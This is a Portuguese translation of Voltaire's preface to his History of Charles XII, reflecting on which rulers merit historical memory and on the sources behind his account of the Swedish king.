Veja também: História da Suécia no século XVI.
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DISCURSO SOBRE A "HISTÓRIA DE CARLOS XII"
Autor: VOLTAIRE
HÁ bem poucos soberanos dos quais se possa escrever uma historia individual. Em vão a perversidade ou a lisonja tem-se exercido sobre quase todos os príncipes: não há senão um pequeno número cuja menoría se conserva; e esse número seria ainda menor se nos lembrássemos apenas dos que foram justos.
Os príncipes com mais direito à imortalidade são aqueles que fizeram algum bem aos homens. Assim, enquanto a França subsistir lembrar-se-á da ternura de Luís XII para com o seu povo; desculpar-se-ão as grandes faltas de Francisco I em atenção às ciências e às artes, de que foi o verdadeiro criador; bendizer-se-á a memória de Henrique IV, cuja glória foi conquistada à força de vitória e de perdão; iouvar-se-á a magnificência de Luís XIV, protegendo as artes, que Francisco I tinha feito surgir. Por uma razão contrária, conservamos a lembrança dos maus príncipes, como nos recordamos das inundações, dos incêndios e das pestes.
Entre os tiranos e os bons reis, estão os conquistadores, que se aproximam mais dos primeiros: estes possuem uma reputação ruidosa, despertando-nos a avidez de lhes conhecer as mínimas particularidades de sua vida. Tal é a miserável fraqueza dos homens, sempre prontos a olhar com admiração os que fizeram mal de maneira brilhante: falarão com mais frequência e mais prazer do destruidor de um império do que daquele que o fundou.
Quanto aos demais príncipes que não se distinguiram nem na paz nem na guerra e que não se tornaram conhecidos nem por grandes vícios nem por grandes virtudes, como sua vida não fornece nenhum exemplo a seguir ou a repelir, não merecem nos lembremos deles. Entre tantos imperadores de Roma, da Alemanha, da Moscóvia; entre tantos sultões, califas, papas, reis; quantos não há cujos nomes deviam estar fora das tábuas cronológicas, onde não figuram senão para assinalar épocas? Existe um ponto vulgar entre os príncipes, como entre os outros homens; entretanto, o furor de escrever chegou a tal ponto, que mal um soberano deixa de existir e já está o público inundado de volumes sob o rótulo de memórias, de histórias da sua vida, anedotas da sua corte. Por essa razão, os livros se multiplicam de tal forma, que um homem que vivesse cem anos e os empregasse todos a ler, não teria tempo de passar a vista nem mesmo no que sobre história se imprimiu nos dois últimos séculos, na Europa.
O prurido de transmitir à posteridade detalhes inúteis e de deter o olhar dos séculos futuros sobre acontecimentos vulgares, vem de uma fraqueza muito comum aos que viveram em alguma corte e tiveram a infelicidade de haver tomado parte nos negócios públicos. Passam, então, a encarar a corte onde viveram como a mais bela de todas; o rei que viram, como o maior dos monarcas; os negócios em que se envolveram, como os mais importantes do mundo. E imaginam que a posteridade verá tudo isso com os mesmos olhos.
Que um príncipe mova uma guerra; que a sua corte seja perturbada por intrigas; que ele compre a amizade de um dos vizinhos e venda a sua a outro; que ele faça, enfim, a paz com os inimigos, depois de algumas vitórias e algumas derrotas, seus súbditos, entusiasmados pela trepidação desses acontecimentos presentes, julgam estar vivendo a época mais singular desde a criação do mundo. E que acontece? O príncipe morre; tomam, depois dele, medidas inteiramente diversas; esquecem as intrigas da corte, os seus ministros, os seus generais, suas guerras e o próprio monarca.
Desde o tempo em que os príncipes cristãos procuram enganar uns aos outros, fazem guerras e alianças, têm-se assinado milhares de tratados e travado outras tantas batalhas; as belas e as infames acções são incontáveis. Quando toda essa infinidade de acontecimentos e detalhes se apresenta à posteridade, são obscurecidos uns pelos outros; só permanecem aqueles que produziram grandes revoluções ou os que, descritos por algum escritor de talento, salvam-se da multidão, como os -retratos de homens obscuros pintados por grandes mestres.
Teríamos tido o cuidado de acrescentar esta história particular de Carlos XII, rei da Suécia, ao enxame de livros que assoberba o público, se este príncipe e seu rival Pedro Alexiowitz, muito maior homem do que ele, não houvessem sido, no consenso de todo o universo, as personagens mais singulares que apareceram nos últimos vinte séculos. Mas não nos determinámos a apresentar esta vida somente pela satisfação de narrar factos extraordinários; pensamos que esta leitura poderá ser útil a algum príncipe, se o livro lhe cair por acaso nas mãos. Com efeito, não há soberano que, lendo a história de Carlos XII, não fique logo curado da mania de conquistas. Pois, onde está o príncipe capaz de dizer: tenho mais coragem e virtudes, uma alma mais forte, um corpo mais robusto; entendo melhor da guerra, possuo melhores tropas que Carlos XII? Se, apesar de todas essas vantagens e de tantas vitórias, esse rei foi tão infeliz, que poderão esperar outros com as mesmas ambições, mas com menos talento e recursos?
A presente história foi composta sobre a narrativa de pessoas conhecidas, que passaram vários anos ao lado de Carlos XII e de Pedro o Grande, imperador da Moscóvia, e que, tendo-se retirado para um país livre, muito tempo depois da morte desses príncipes, nenhum interesse tinham de disfarçar a verdade. O sr. Fabrício, que viveu sete anos em familiaridade com Carlos XII; o sr. de Fierville, enviado da França; o sr. de Villelongué, coronel a serviço da Suécia; 0 próprio sr. Poniatowski facultaram-nos suas memórias. Não avançamos um único facto sobre o qual não tenhamos consultado testemunhas oculares e dignas de todo crédito.
Motivo por que se achará esta história muito diferente das publicações aparecidas até aqui sob o título de Vida de Carlos XII.
Se omitimos alguns pequenos combates entre oficiais suecos e moscovitas, foi porque não pretendemos escrever a história desses oficiais, mas somente a do rei da Suécia; mesmo entre os acontecimentos de sua vida não escolhemos senão os mais interessantes. Estamos persuadidos de que a história de um príncipe não é tudo que ele fez, mas o que fez digno de ser transmitido à posteridade.
Sentimo-nos na obrigação de advertir que várias coisas, verdadeiras quando escrevemos esta história, em 1728, já cessaram de o ser, hoje. O comércio, por exemplo, começa a tornar-se menos negligenciado na Suécia. A infantaria polonesa está mais bem organizada e com uniformes que então não possuía. É preciso, ao ler-se uma história, ter-se em conta a época em que o autor a escreveu. Quem lesse apenas o Cardeal de Retz, tomaria os Franceses por seres furiosos, respirando somente a atmosfera da guerra civil, do faccionismo e da loucura. Quem não lesse senão a história dos belos tempos de Luís XIV, diria: os Franceses nasceram para obedecer, para vencer e para cultivar as artes. O que só lesse as memórias dos primeiros anos de Luís XV, notaria em nosso país apenas a indolência, uma avidez extrema de enriquecer-se e indiferença absoluta por tudo o mais. Os Espanhóis de hoje não são os Espanhóis de Carlos V, mas podem voltar a sê-lo dentro de alguns anos. Os Ingleses de hoje já não se assemelham aos fanáticos de Cromwell, assim como os monges e os "monsignori" de que Roma está povoada não se parecem com os Cipiões.
Ignoro se os Suecos poderiam levantar hoje, de um momento para outro, tropas tão formidáveis quanto as de Carlos XII. Diz-se de um homem: ele foi bravo certo dia; devia dizer-se, falando de uma nação: ela parecia tal, em tal reinado, em tal ano.
Se algum príncipe ou algum ministro encontrar nesta obra verdades desagradáveis, lembre-se de que, sendo homens políticos devem conta de suas acções ao público; que a esse preço comprar sua grandeza; que a história é um testemunho e não uma lisonja; que o único meio de obrigar os homens a dizerem bem de nós é praticarmos boas acções.
Fonte: VOLTAIRE. Clássicos Jackson vol XXII. Tradução de Brito Broca.
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